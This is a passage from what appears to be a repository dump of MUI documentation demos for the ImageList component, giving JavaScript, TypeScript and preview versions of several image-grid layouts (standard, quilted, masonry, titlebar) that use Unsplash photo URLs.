    "content": "import ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\nimport ImageListItemBar from '@mui/material/ImageListItemBar';\nimport IconButton from '@mui/material/IconButton';\nimport StarBorderIcon from '@mui/icons-material/StarBorder';\n\nfunction srcset(image: string, width: number, height: number, rows = 1, cols = 1) {\n  return {\n    src: `${image}?w=${width * cols}&h=${height * rows}&fit=crop&auto=format`,\n    srcSet: `${image}?w=${width * cols}&h=${\n      height * rows\n    }&fit=crop&auto=format&dpr=2 2x`,\n  };\n}\n\nexport default function CustomImageList() {\n  return (\n    <ImageList\n      sx={{\n        width: 500,\n        height: 450,\n        // Promote the list into its own layer in Chrome. This costs memory, but helps keeping high FPS.\n        transform: 'translateZ(0)',\n      }}\n      rowHeight={200}\n      gap={1}\n    >\n      {itemData.map((item) => {\n        const cols = item.featured ? 2 : 1;\n        const rows = item.featured ? 2 : 1;\n\n        return (\n          <ImageListItem key={item.img} cols={cols} rows={rows}>\n            <img\n              {...srcset(item.img, 250, 200, rows, cols)}\n              alt={item.title}\n              loading=\"lazy\"\n            />\n            <ImageListItemBar\n              sx={{\n                background:\n                  'linear-gradient(to bottom, rgba(0,0,0,0.7) 0%, ' +\n                  'rgba(0,0,0,0.3) 70%, rgba(0,0,0,0) 100%)',\n              }}\n              title={item.title}\n              position=\"top\"\n              actionIcon={\n                <IconButton\n                  sx={{ color: 'white' }}\n                  aria-label={`star ${item.title}`}\n                >\n                  <StarBorderIcon />\n                </IconButton>\n              }\n              actionPosition=\"left\"\n            />\n          </ImageListItem>\n        );\n      })}\n    </ImageList>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1551963831-b3b1ca40c98e',\n    title: 'Breakfast',\n    author: '@bkristastucchio',\n    featured: true,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551782450-a2132b4ba21d',\n    title: 'Burger',\n    author: '@rollelflex_graphy726',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1522770179533-24471fcdba45',\n    title: 'Camera',\n    author: '@helloimnik',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1444418776041-9c7e33cc5a9c',\n    title: 'Coffee',\n    author: '@nolanissac',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1533827432537-70133748f5c8',\n    title: 'Hats',\n    author: '@hjrc33',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1558642452-9d2a7deb7f62',\n    title: 'Honey',\n    author: '@arwinneil',\n    featured: true,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516802273409-68526ee1bdd6',\n    title: 'Basketball',\n    author: '@tjdragotta',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1518756131217-31eb79b20e8f',\n    title: 'Fern',\n    author: '@katie_wasserman',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597645587822-e99fa5d45d25',\n    title: 'Mushrooms',\n    author: '@silverdalex',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1567306301408-9b74779a11af',\n    title: 'Tomato basil',\n    author: '@shelleypauls',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1471357674240-e1a485acb3e1',\n    title: 'Sea star',\n    author: '@peterlaster',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1589118949245-7d38baf380d6',\n    title: 'Bike',\n    author: '@southside_customs',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/MasonryImageList.js",
    "content": "import Box from '@mui/material/Box';\nimport ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\n\nexport default function MasonryImageList() {\n  return (\n    <Box sx={{ width: 500, height: 450, overflowY: 'scroll' }}>\n      <ImageList variant=\"masonry\" cols={3} gap={8}>\n        {itemData.map((item) => (\n          <ImageListItem key={item.img}>\n            <img\n              srcSet={`${item.img}?w=248&fit=crop&auto=format&dpr=2 2x`}\n              src={`${item.img}?w=248&fit=crop&auto=format`}\n              alt={item.title}\n              loading=\"lazy\"\n            />\n          </ImageListItem>\n        ))}\n      </ImageList>\n    </Box>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1549388604-817d15aa0110',\n    title: 'Bed',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1525097487452-6278ff080c31',\n    title: 'Books',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1523413651479-597eb2da0ad6',\n    title: 'Sink',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1563298723-dcfebaa392e3',\n    title: 'Kitchen',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1588436706487-9d55d73a39e3',\n    title: 'Blinds',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1574180045827-681f8a1a9622',\n    title: 'Chairs',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1530731141654-5993c3016c77',\n    title: 'Laptop',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1481277542470-605612bd2d61',\n    title: 'Doors',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1517487881594-2787fef5ebf7',\n    title: 'Coffee',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516455207990-7a41ce80f7ee',\n    title: 'Storage',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597262975002-c5c3b14bbd62',\n    title: 'Candle',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1519710164239-da123dc03ef4',\n    title: 'Coffee table',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/MasonryImageList.tsx",
    "content": "import Box from '@mui/material/Box';\nimport ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\n\nexport default function MasonryImageList() {\n  return (\n    <Box sx={{ width: 500, height: 450, overflowY: 'scroll' }}>\n      <ImageList variant=\"masonry\" cols={3} gap={8}>\n        {itemData.map((item) => (\n          <ImageListItem key={item.img}>\n            <img\n              srcSet={`${item.img}?w=248&fit=crop&auto=format&dpr=2 2x`}\n              src={`${item.img}?w=248&fit=crop&auto=format`}\n              alt={item.title}\n              loading=\"lazy\"\n            />\n          </ImageListItem>\n        ))}\n      </ImageList>\n    </Box>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1549388604-817d15aa0110',\n    title: 'Bed',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1525097487452-6278ff080c31',\n    title: 'Books',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1523413651479-597eb2da0ad6',\n    title: 'Sink',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1563298723-dcfebaa392e3',\n    title: 'Kitchen',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1588436706487-9d55d73a39e3',\n    title: 'Blinds',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1574180045827-681f8a1a9622',\n    title: 'Chairs',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1530731141654-5993c3016c77',\n    title: 'Laptop',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1481277542470-605612bd2d61',\n    title: 'Doors',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1517487881594-2787fef5ebf7',\n    title: 'Coffee',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516455207990-7a41ce80f7ee',\n    title: 'Storage',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597262975002-c5c3b14bbd62',\n    title: 'Candle',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1519710164239-da123dc03ef4',\n    title: 'Coffee table',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/MasonryImageList.tsx.preview",
    "content": "<ImageList variant=\"masonry\" cols={3} gap={8}>\n  {itemData.map((item) => (\n    <ImageListItem key={item.img}>\n      <img\n        srcSet={`${item.img}?w=248&fit=crop&auto=format&dpr=2 2x`}\n        src={`${item.img}?w=248&fit=crop&auto=format`}\n        alt={item.title}\n        loading=\"lazy\"\n      />\n    </ImageListItem>\n  ))}\n</ImageList>"
  },
  {
    "path": "docs/data/material/components/image-list/QuiltedImageList.js",
    "content": "import ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\n\nfunction srcset(image, size, rows = 1, cols = 1) {\n  return {\n    src: `${image}?w=${size * cols}&h=${size * rows}&fit=crop&auto=format`,\n    srcSet: `${image}?w=${size * cols}&h=${\n      size * rows\n    }&fit=crop&auto=format&dpr=2 2x`,\n  };\n}\n\nexport default function QuiltedImageList() {\n  return (\n    <ImageList\n      sx={{ width: 500, height: 450 }}\n      variant=\"quilted\"\n      cols={4}\n      rowHeight={121}\n    >\n      {itemData.map((item) => (\n        <ImageListItem key={item.img} cols={item.cols || 1} rows={item.rows || 1}>\n          <img\n            {...srcset(item.img, 121, item.rows, item.cols)}\n            alt={item.title}\n            loading=\"lazy\"\n          />\n        </ImageListItem>\n      ))}\n    </ImageList>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1551963831-b3b1ca40c98e',\n    title: 'Breakfast',\n    rows: 2,\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551782450-a2132b4ba21d',\n    title: 'Burger',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1522770179533-24471fcdba45',\n    title: 'Camera',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1444418776041-9c7e33cc5a9c',\n    title: 'Coffee',\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1533827432537-70133748f5c8',\n    title: 'Hats',\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1558642452-9d2a7deb7f62',\n    title: 'Honey',\n    author: '@arwinneil',\n    rows: 2,\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516802273409-68526ee1bdd6',\n    title: 'Basketball',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1518756131217-31eb79b20e8f',\n    title: 'Fern',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597645587822-e99fa5d45d25',\n    title: 'Mushrooms',\n    rows: 2,\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1567306301408-9b74779a11af',\n    title: 'Tomato basil',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1471357674240-e1a485acb3e1',\n    title: 'Sea star',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1589118949245-7d38baf380d6',\n    title: 'Bike',\n    cols: 2,\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/QuiltedImageList.tsx",
    "content": "import ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\n\nfunction srcset(image: string, size: number, rows = 1, cols = 1) {\n  return {\n    src: `${image}?w=${size * cols}&h=${size * rows}&fit=crop&auto=format`,\n    srcSet: `${image}?w=${size * cols}&h=${\n      size * rows\n    }&fit=crop&auto=format&dpr=2 2x`,\n  };\n}\n\nexport default function QuiltedImageList() {\n  return (\n    <ImageList\n      sx={{ width: 500, height: 450 }}\n      variant=\"quilted\"\n      cols={4}\n      rowHeight={121}\n    >\n      {itemData.map((item) => (\n        <ImageListItem key={item.img} cols={item.cols || 1} rows={item.rows || 1}>\n          <img\n            {...srcset(item.img, 121, item.rows, item.cols)}\n            alt={item.title}\n            loading=\"lazy\"\n          />\n        </ImageListItem>\n      ))}\n    </ImageList>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1551963831-b3b1ca40c98e',\n    title: 'Breakfast',\n    rows: 2,\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551782450-a2132b4ba21d',\n    title: 'Burger',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1522770179533-24471fcdba45',\n    title: 'Camera',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1444418776041-9c7e33cc5a9c',\n    title: 'Coffee',\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1533827432537-70133748f5c8',\n    title: 'Hats',\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1558642452-9d2a7deb7f62',\n    title: 'Honey',\n    author: '@arwinneil',\n    rows: 2,\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516802273409-68526ee1bdd6',\n    title: 'Basketball',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1518756131217-31eb79b20e8f',\n    title: 'Fern',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597645587822-e99fa5d45d25',\n    title: 'Mushrooms',\n    rows: 2,\n    cols: 2,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1567306301408-9b74779a11af',\n    title: 'Tomato basil',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1471357674240-e1a485acb3e1',\n    title: 'Sea star',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1589118949245-7d38baf380d6',\n    title: 'Bike',\n    cols: 2,\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/QuiltedImageList.tsx.preview",
    "content": "<ImageList\n  sx={{ width: 500, height: 450 }}\n  variant=\"quilted\"\n  cols={4}\n  rowHeight={121}\n>\n  {itemData.map((item) => (\n    <ImageListItem key={item.img} cols={item.cols || 1} rows={item.rows || 1}>\n      <img\n        {...srcset(item.img, 121, item.rows, item.cols)}\n        alt={item.title}\n        loading=\"lazy\"\n      />\n    </ImageListItem>\n  ))}\n</ImageList>"
  },
  {
    "path": "docs/data/material/components/image-list/StandardImageList.js",
    "content": "import ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\n\nexport default function StandardImageList() {\n  return (\n    <ImageList sx={{ width: 500, height: 450 }} cols={3} rowHeight={164}>\n      {itemData.map((item) => (\n        <ImageListItem key={item.img}>\n          <img\n            srcSet={`${item.img}?w=164&h=164&fit=crop&auto=format&dpr=2 2x`}\n            src={`${item.img}?w=164&h=164&fit=crop&auto=format`}\n            alt={item.title}\n            loading=\"lazy\"\n          />\n        </ImageListItem>\n      ))}\n    </ImageList>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1551963831-b3b1ca40c98e',\n    title: 'Breakfast',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551782450-a2132b4ba21d',\n    title: 'Burger',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1522770179533-24471fcdba45',\n    title: 'Camera',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1444418776041-9c7e33cc5a9c',\n    title: 'Coffee',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1533827432537-70133748f5c8',\n    title: 'Hats',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1558642452-9d2a7deb7f62',\n    title: 'Honey',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516802273409-68526ee1bdd6',\n    title: 'Basketball',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1518756131217-31eb79b20e8f',\n    title: 'Fern',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597645587822-e99fa5d45d25',\n    title: 'Mushrooms',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1567306301408-9b74779a11af',\n    title: 'Tomato basil',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1471357674240-e1a485acb3e1',\n    title: 'Sea star',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1589118949245-7d38baf380d6',\n    title: 'Bike',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/StandardImageList.tsx",
    "content": "import ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\n\nexport default function StandardImageList() {\n  return (\n    <ImageList sx={{ width: 500, height: 450 }} cols={3} rowHeight={164}>\n      {itemData.map((item) => (\n        <ImageListItem key={item.img}>\n          <img\n            srcSet={`${item.img}?w=164&h=164&fit=crop&auto=format&dpr=2 2x`}\n            src={`${item.img}?w=164&h=164&fit=crop&auto=format`}\n            alt={item.title}\n            loading=\"lazy\"\n          />\n        </ImageListItem>\n      ))}\n    </ImageList>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1551963831-b3b1ca40c98e',\n    title: 'Breakfast',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551782450-a2132b4ba21d',\n    title: 'Burger',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1522770179533-24471fcdba45',\n    title: 'Camera',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1444418776041-9c7e33cc5a9c',\n    title: 'Coffee',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1533827432537-70133748f5c8',\n    title: 'Hats',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1558642452-9d2a7deb7f62',\n    title: 'Honey',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516802273409-68526ee1bdd6',\n    title: 'Basketball',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1518756131217-31eb79b20e8f',\n    title: 'Fern',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597645587822-e99fa5d45d25',\n    title: 'Mushrooms',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1567306301408-9b74779a11af',\n    title: 'Tomato basil',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1471357674240-e1a485acb3e1',\n    title: 'Sea star',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1589118949245-7d38baf380d6',\n    title: 'Bike',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/StandardImageList.tsx.preview",
    "content": "<ImageList sx={{ width: 500, height: 450 }} cols={3} rowHeight={164}>\n  {itemData.map((item) => (\n    <ImageListItem key={item.img}>\n      <img\n        srcSet={`${item.img}?w=164&h=164&fit=crop&auto=format&dpr=2 2x`}\n        src={`${item.img}?w=164&h=164&fit=crop&auto=format`}\n        alt={item.title}\n        loading=\"lazy\"\n      />\n    </ImageListItem>\n  ))}\n</ImageList>"
  },
  {
    "path": "docs/data/material/components/image-list/TitlebarBelowImageList.js",
    "content": "import ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\nimport ImageListItemBar from '@mui/material/ImageListItemBar';\n\nexport default function TitlebarBelowImageList() {\n  return (\n    <ImageList sx={{ width: 500, height: 450 }}>\n      {itemData.map((item) => (\n        <ImageListItem key={item.img}>\n          <img\n            srcSet={`${item.img}?w=248&fit=crop&auto=format&dpr=2 2x`}\n            src={`${item.img}?w=248&fit=crop&auto=format`}\n            alt={item.title}\n            loading=\"lazy\"\n          />\n          <ImageListItemBar\n            title={item.title}\n            subtitle={<span>by: {item.author}</span>}\n            position=\"below\"\n          />\n        </ImageListItem>\n      ))}\n    </ImageList>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1551963831-b3b1ca40c98e',\n    title: 'Breakfast',\n    author: '@bkristastucchio',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551782450-a2132b4ba21d',\n    title: 'Burger',\n    author: '@rollelflex_graphy726',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1522770179533-24471fcdba45',\n    title: 'Camera',\n    author: '@helloimnik',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1444418776041-9c7e33cc5a9c',\n    title: 'Coffee',\n    author: '@nolanissac',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1533827432537-70133748f5c8',\n    title: 'Hats',\n    author: '@hjrc33',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1558642452-9d2a7deb7f62',\n    title: 'Honey',\n    author: '@arwinneil',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516802273409-68526ee1bdd6',\n    title: 'Basketball',\n    author: '@tjdragotta',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1518756131217-31eb79b20e8f',\n    title: 'Fern',\n    author: '@katie_wasserman',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597645587822-e99fa5d45d25',\n    title: 'Mushrooms',\n    author: '@silverdalex',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1567306301408-9b74779a11af',\n    title: 'Tomato basil',\n    author: '@shelleypauls',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1471357674240-e1a485acb3e1',\n    title: 'Sea star',\n    author: '@peterlaster',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1589118949245-7d38baf380d6',\n    title: 'Bike',\n    author: '@southside_customs',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/TitlebarBelowImageList.tsx",
    "content": "import ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\nimport ImageListItemBar from '@mui/material/ImageListItemBar';\n\nexport default function TitlebarBelowImageList() {\n  return (\n    <ImageList sx={{ width: 500, height: 450 }}>\n      {itemData.map((item) => (\n        <ImageListItem key={item.img}>\n          <img\n            srcSet={`${item.img}?w=248&fit=crop&auto=format&dpr=2 2x`}\n            src={`${item.img}?w=248&fit=crop&auto=format`}\n            alt={item.title}\n            loading=\"lazy\"\n          />\n          <ImageListItemBar\n            title={item.title}\n            subtitle={<span>by: {item.author}</span>}\n            position=\"below\"\n          />\n        </ImageListItem>\n      ))}\n    </ImageList>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1551963831-b3b1ca40c98e',\n    title: 'Breakfast',\n    author: '@bkristastucchio',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551782450-a2132b4ba21d',\n    title: 'Burger',\n    author: '@rollelflex_graphy726',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1522770179533-24471fcdba45',\n    title: 'Camera',\n    author: '@helloimnik',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1444418776041-9c7e33cc5a9c',\n    title: 'Coffee',\n    author: '@nolanissac',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1533827432537-70133748f5c8',\n    title: 'Hats',\n    author: '@hjrc33',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1558642452-9d2a7deb7f62',\n    title: 'Honey',\n    author: '@arwinneil',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516802273409-68526ee1bdd6',\n    title: 'Basketball',\n    author: '@tjdragotta',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1518756131217-31eb79b20e8f',\n    title: 'Fern',\n    author: '@katie_wasserman',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597645587822-e99fa5d45d25',\n    title: 'Mushrooms',\n    author: '@silverdalex',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1567306301408-9b74779a11af',\n    title: 'Tomato basil',\n    author: '@shelleypauls',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1471357674240-e1a485acb3e1',\n    title: 'Sea star',\n    author: '@peterlaster',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1589118949245-7d38baf380d6',\n    title: 'Bike',\n    author: '@southside_customs',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/TitlebarBelowMasonryImageList.js",
    "content": "import Box from '@mui/material/Box';\nimport ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\nimport ImageListItemBar from '@mui/material/ImageListItemBar';\n\nexport default function TitlebarBelowMasonryImageList() {\n  return (\n    <Box sx={{ width: 500, height: 450, overflowY: 'scroll' }}>\n      <ImageList variant=\"masonry\" cols={3} gap={8}>\n        {itemData.map((item) => (\n          <ImageListItem key={item.img}>\n            <img\n              srcSet={`${item.img}?w=248&fit=crop&auto=format&dpr=2 2x`}\n              src={`${item.img}?w=248&fit=crop&auto=format`}\n              alt={item.title}\n              loading=\"lazy\"\n            />\n            <ImageListItemBar position=\"below\" title={item.author} />\n          </ImageListItem>\n        ))}\n      </ImageList>\n    </Box>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1549388604-817d15aa0110',\n    title: 'Bed',\n    author: 'swabdesign',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1525097487452-6278ff080c31',\n    title: 'Books',\n    author: 'Pavel Nekoranec',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1523413651479-597eb2da0ad6',\n    title: 'Sink',\n    author: 'Charles Deluvio',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1563298723-dcfebaa392e3',\n    title: 'Kitchen',\n    author: 'Christian Mackie',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1588436706487-9d55d73a39e3',\n    title: 'Blinds',\n    author: 'Darren Richardson',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1574180045827-681f8a1a9622',\n    title: 'Chairs',\n    author: 'Taylor Simpson',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1530731141654-5993c3016c77',\n    title: 'Laptop',\n    author: 'Ben Kolde',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1481277542470-605612bd2d61',\n    title: 'Doors',\n    author: 'Philipp Berndt',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1517487881594-2787fef5ebf7',\n    title: 'Coffee',\n    author: 'Jen P.',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516455207990-7a41ce80f7ee',\n    title: 'Storage',\n    author: 'Douglas Sheppard',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597262975002-c5c3b14bbd62',\n    title: 'Candle',\n    author: 'Fi Bell',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1519710164239-da123dc03ef4',\n    title: 'Coffee table',\n    author: 'Hutomo Abrianto',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/TitlebarBelowMasonryImageList.tsx",
    "content": "import Box from '@mui/material/Box';\nimport ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\nimport ImageListItemBar from '@mui/material/ImageListItemBar';\n\nexport default function TitlebarBelowMasonryImageList() {\n  return (\n    <Box sx={{ width: 500, height: 450, overflowY: 'scroll' }}>\n      <ImageList variant=\"masonry\" cols={3} gap={8}>\n        {itemData.map((item) => (\n          <ImageListItem key={item.img}>\n            <img\n              srcSet={`${item.img}?w=248&fit=crop&auto=format&dpr=2 2x`}\n              src={`${item.img}?w=248&fit=crop&auto=format`}\n              alt={item.title}\n              loading=\"lazy\"\n            />\n            <ImageListItemBar position=\"below\" title={item.author} />\n          </ImageListItem>\n        ))}\n      </ImageList>\n    </Box>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1549388604-817d15aa0110',\n    title: 'Bed',\n    author: 'swabdesign',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1525097487452-6278ff080c31',\n    title: 'Books',\n    author: 'Pavel Nekoranec',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1523413651479-597eb2da0ad6',\n    title: 'Sink',\n    author: 'Charles Deluvio',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1563298723-dcfebaa392e3',\n    title: 'Kitchen',\n    author: 'Christian Mackie',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1588436706487-9d55d73a39e3',\n    title: 'Blinds',\n    author: 'Darren Richardson',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1574180045827-681f8a1a9622',\n    title: 'Chairs',\n    author: 'Taylor Simpson',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1530731141654-5993c3016c77',\n    title: 'Laptop',\n    author: 'Ben Kolde',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1481277542470-605612bd2d61',\n    title: 'Doors',\n    author: 'Philipp Berndt',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1517487881594-2787fef5ebf7',\n    title: 'Coffee',\n    author: 'Jen P.',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516455207990-7a41ce80f7ee',\n    title: 'Storage',\n    author: 'Douglas Sheppard',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597262975002-c5c3b14bbd62',\n    title: 'Candle',\n    author: 'Fi Bell',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1519710164239-da123dc03ef4',\n    title: 'Coffee table',\n    author: 'Hutomo Abrianto',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/TitlebarBelowMasonryImageList.tsx.preview",
    "content": "<ImageList variant=\"masonry\" cols={3} gap={8}>\n  {itemData.map((item) => (\n    <ImageListItem key={item.img}>\n      <img\n        srcSet={`${item.img}?w=248&fit=crop&auto=format&dpr=2 2x`}\n        src={`${item.img}?w=248&fit=crop&auto=format`}\n        alt={item.title}\n        loading=\"lazy\"\n      />\n      <ImageListItemBar position=\"below\" title={item.author} />\n    </ImageListItem>\n  ))}\n</ImageList>"
  },
  {
    "path": "docs/data/material/components/image-list/TitlebarImageList.js",
    "content": "import ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\nimport ImageListItemBar from '@mui/material/ImageListItemBar';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport IconButton from '@mui/material/IconButton';\nimport InfoIcon from '@mui/icons-material/Info';\n\nexport default function TitlebarImageList() {\n  return (\n    <ImageList sx={{ width: 500, height: 450 }}>\n      <ImageListItem key=\"Subheader\" cols={2}>\n        <ListSubheader component=\"div\">December</ListSubheader>\n      </ImageListItem>\n      {itemData.map((item) => (\n        <ImageListItem key={item.img}>\n          <img\n            srcSet={`${item.img}?w=248&fit=crop&auto=format&dpr=2 2x`}\n            src={`${item.img}?w=248&fit=crop&auto=format`}\n            alt={item.title}\n            loading=\"lazy\"\n          />\n          <ImageListItemBar\n            title={item.title}\n            subtitle={item.author}\n            actionIcon={\n              <IconButton\n                sx={{ color: 'rgba(255, 255, 255, 0.54)' }}\n                aria-label={`info about ${item.title}`}\n              >\n                <InfoIcon />\n              </IconButton>\n            }\n          />\n        </ImageListItem>\n      ))}\n    </ImageList>\n  );\n}\n\nconst itemData = [\n  {\n    